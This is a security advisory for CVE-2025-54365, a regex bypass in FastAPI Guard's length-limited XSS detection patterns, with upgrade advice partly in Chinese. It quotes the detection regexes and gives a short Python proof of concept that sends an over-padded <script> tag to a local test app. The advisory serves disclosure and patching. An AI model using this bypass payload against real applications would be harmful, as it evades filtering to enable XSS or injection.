CVE-2025-54365
FastAPI Guard has a regex bypass
描述
### Summary The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. ### Details In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. `r"<script[^>]*>[^<]*<\\/script\\s*>"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>` This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed. ### PoC 1. clone the fastapi-guard repository 2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" /> 3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results. ```python import requests URL = "<http://localhost:8000>" obvious_payload = { "obvious" : "<script>alert(1);</script>" } response = requests.post(url=URL, json=obvious_payload) print(f"[+] response of first request: {response.text}") bypassed_payload = { "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>' } response = requests.post(url=URL, json=bypassed_payload) print(f"[+] response of second request: {response.text}") ``` <img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" /> ### Impact Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.
如何修補 CVE-2025-54365
要修補 CVE-2025-54365,請將受影響套件升級到下列已修補版本。
- —升級至 3.0.2 或更新版本
CVE-2025-54365 正在被利用嗎?
低 — EPSS 為 0.4%,目前沒有觀察到大規模利用活動。